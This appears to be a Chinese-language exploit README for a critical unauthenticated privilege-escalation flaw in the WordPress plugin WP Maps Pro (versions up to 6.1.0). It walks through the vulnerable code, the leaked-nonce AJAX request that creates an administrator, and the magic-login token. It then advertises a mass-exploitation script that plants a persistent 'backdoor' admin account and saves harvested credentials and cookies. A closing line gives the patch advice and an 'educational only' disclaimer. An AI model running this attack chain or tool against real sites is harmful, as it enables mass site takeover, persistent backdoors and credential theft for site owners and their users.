| 字段 | 详细信息 |
|---|---|
| CVE ID | CVE-2026-8732 |
| CVSS 评分 | 9.8 (严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 类型 | 关键功能缺少身份验证 |
| 插件 | WP Maps Pro (wp-google-map-gold) |
| 受影响版本 | 所有 ≤ 6.1.0 的版本 |
| 已修复版本 | 6.1.1 |
| 发布时间 | 2026年5月28日 |
| 研究人员 | David Brown |
| PoC | Shadow & Friska 😈 |
WordPress 的 WP Maps Pro 插件存在未认证权限提升漏洞,可创建管理员账户。
AJAX 操作 wpgmp_temp_access_ajax 通过 wp_ajax_nopriv_ 注册,仅靠 fc-call-nonce nonce 检查保护——而该 nonce 通过 wp_localize_script 以 wpgmp_local JavaScript 对象的 nonce 字段公开嵌入到每个前端页面。
这使得 nonce 检查作为访问控制机制完全无效,允许未认证攻击者:
wpgmp_temp_access_support 处理器并传入 check_temp=falsewp_set_auth_cookie() —— 授予完全管理员权限结果: 无需任何前置认证即可完全接管站点。
is_admin() 块内——但对 AJAX 请求,is_admin() 始终返回真// wp-google-map-gold.php
if ( is_admin() ) { // ← is_admin() = TRUE 对所有 admin-ajax.php 请求!
add_action( 'wp_ajax_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] );
add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = 未认证!
}
// classes/wpgmp-helper.php
$wpgmp_local = [
'urlforajax' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'fc-call-nonce' ), // ← 泄露到公共 HTML 中!
// ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );
任何访问者都可以从页面源码中读取 nonce。WordPress nonce 是 CSRF 令牌——不是认证令牌。
function wpgmp_temp_access_ajax_callback(){
check_ajax_referer( 'fc-call-nonce', 'nonce' ); // ← 通过公开的 nonce 绕过
// 没有 current_user_can() 检查!
$temp_access = new WPGMP_Temp_Access();
$response = $temp_access->wpgmp_temp_access_support();
wp_send_json($response);
}
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
$username = 'fc_user_' . uniqid(); // 随机用户名
$email = '[email protected]'; // 硬编码邮箱
$role = 'administrator'; // 硬编码角色 ← 根本原因
$result = self::fc_create_new_user($username, $email, $role);
if (is_numeric($result)) {
$access_link = self::generate_login_link($result);
$response['url'] = $access_link; // ← 魔法 URL 返回给攻击者!
}
}
init 钩子实现魔法登录——无过期,无一次性限制// 挂载到 init —— 在每个请求上运行,无需认证
function wpgmp_access_token_check(){
if ( ! empty( $_GET['wpgmp_token'] ) ) {
$temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
}
}
// 在 get_valid_user_based_on_wpgmp_token() 内部:
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id ); // ← 会话设置为管理员
wp_safe_redirect( admin_url() ); // ← 重定向到仪表盘
[未认证攻击者]
│
▼
GET /任意页面/
← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
│
▼
POST /wp-admin/admin-ajax.php
action=wpgmp_temp_access_ajax
nonce=XXXXXXXX
check_temp=false
← {"url":"https://target.com/wp-admin/?wpgmp_token=<128位十六进制>"}
│
▼
GET /wp-admin/?wpgmp_token=<128位十六进制>
← wp_set_auth_cookie() 被触发
← 302 → /wp-admin/
│
▼
[获得完全管理员权限] 💀
│
▼
POST /wp-json/wp/v2/users
X-WP-Nonce: <rest-nonce>
{"username":"backdoor","password":"...","roles":["administrator"]}
│
▼
[创建持久后门] 😈
shadow.py —— 完整利用链支持单个目标或批量利用。
# 交互模式
python3 shadow.py
# 单个目标
python3 shadow.py -u https://target.com
# 批量利用
python3 shadow.py -f targets.txt -t 20
利用阶段:
阶段 1 ▶ 插件及功能检测
阶段 2 ▶ Nonce 扫描(并行爬虫)
阶段 3 ▶ 通过 AJAX 创建管理员
阶段 4 ▶ 魔法登录(wp_set_auth_cookie)
阶段 5 ▶ 持久后门(REST API)
输出文件(pwned.txt):
1.
=======================================================
目标 : https://target.com/wp-admin/
用户名 : shadow_xxxxx
密码 : Xk9#mQ2pLrTv8nYw
邮箱 : [email protected]
魔法链接 : https://target.com/wp-admin/?wpgmp_token=...
=======================================================
Cookie :
=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================
将 WP Maps Pro 更新至 6.1.1 或更高版本。
[shadow ♡ friska] —— 仅供教育和授权安全研究使用